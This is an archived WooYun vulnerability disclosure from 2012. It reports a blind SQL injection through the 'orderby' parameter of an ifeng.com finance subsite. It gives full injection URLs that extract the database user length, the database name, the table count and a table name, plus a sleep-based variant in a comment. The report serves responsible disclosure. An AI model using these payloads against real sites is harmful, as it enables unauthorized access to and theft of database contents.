当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-09095

漏洞标题：凤凰网某分站注入

相关厂商：凤凰网

漏洞作者： HRay

提交时间：2012-07-01 16:37

修复时间：2012-08-15 16:38

公开时间：2012-08-15 16:38

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-01： 细节已通知厂商并且等待厂商处理中
2012-07-01： 厂商已经确认，细节仅向厂商公开
2012-07-11： 细节向核心白帽子及相关领域专家公开
2012-07-21： 细节向普通白帽子公开
2012-07-31： 细节向实习白帽子公开
2012-08-15： 细节向公众公开

简要描述：

凤凰网某分站注入，可获取数据库内容

详细说明：

前几天在乌云看到一个orderby的盲注 WooYun: 中关村在线order by语句的盲注思路的分享
于是自己也想学习一下，找到一个凤凰网分站的orderby注入点
首先

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(length(user())>22)*8000)&ordertype=asc

返回页面


而后尝试几个值，到

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(length(user())=22)*8000)&ordertype=asc

返回页面


判定user()长度为22个字符，这里已经可以判断出这是一个注入点，为了让管理认识到危害，我们接着往下暴数据

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(ascii(substring((database()),1,1))=102)*8000)&ordertype=asc

依次往下，获取库名为finance

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-((select count(*) from information_schema.tables where table_schema=0x66696E616E6365)=136)*8000)&ordertype=asc

看来有136个表，这里我们只跑出一个表就可以了，毕竟只是提醒厂商修复漏洞，而不是做渗透测试

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs%28jjdm-%28length%28%28select%20distinct%20table_name%20from%20information_schema.tables%20where%20table_schema=0x66696E616E6365%20limit%201,1%29%29=6%29*8000%29&ordertype=asc

这里我挑一个短的，第二个表长度为6，并且遇到了一个问题，有时不管表达式是真或假，都会返回这样一个页面

没有返回有股票信息的页面，让我无法判断，后来发现有些出现这种错误的页面在表达式后面加上注释符可以解决，不过并不完美，还是有一些时候会出现这种错误，希望各位大牛指点一下，不只是这种，sleep也是，某些页面不管用>100 =100或者<100都不会延迟
最后

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(ascii(substring((select distinct table_name from information_schema.tables where table_schema=0x66696E616E6365 limit 1,1),1,1))=97)*8000)#&ordertype=asc

这种形式爆出该表名称为all_hq
至此检测结束，希望厂家尽快修复

漏洞证明：

http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(length(user())=22)*8000)&ordertype=asc


http://app.finance.ifeng.com/finance/fundhtml/indexpj.php?pj_type=CHENXING&fund_type=gp&orderby=abs(jjdm-(ascii(substring((database()),7,1))=101)*8000)&ordertype=asc

修复方案：

严格过滤

版权声明：转载请注明来源 HRay@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-07-01 20:07

厂商回复：

非常感谢您对凤凰网信息安全的关注。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-01 16:45 | HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)

    这里说一下，用sleep的话orderby=length(user())=22 and sleep(6000)这样就可以了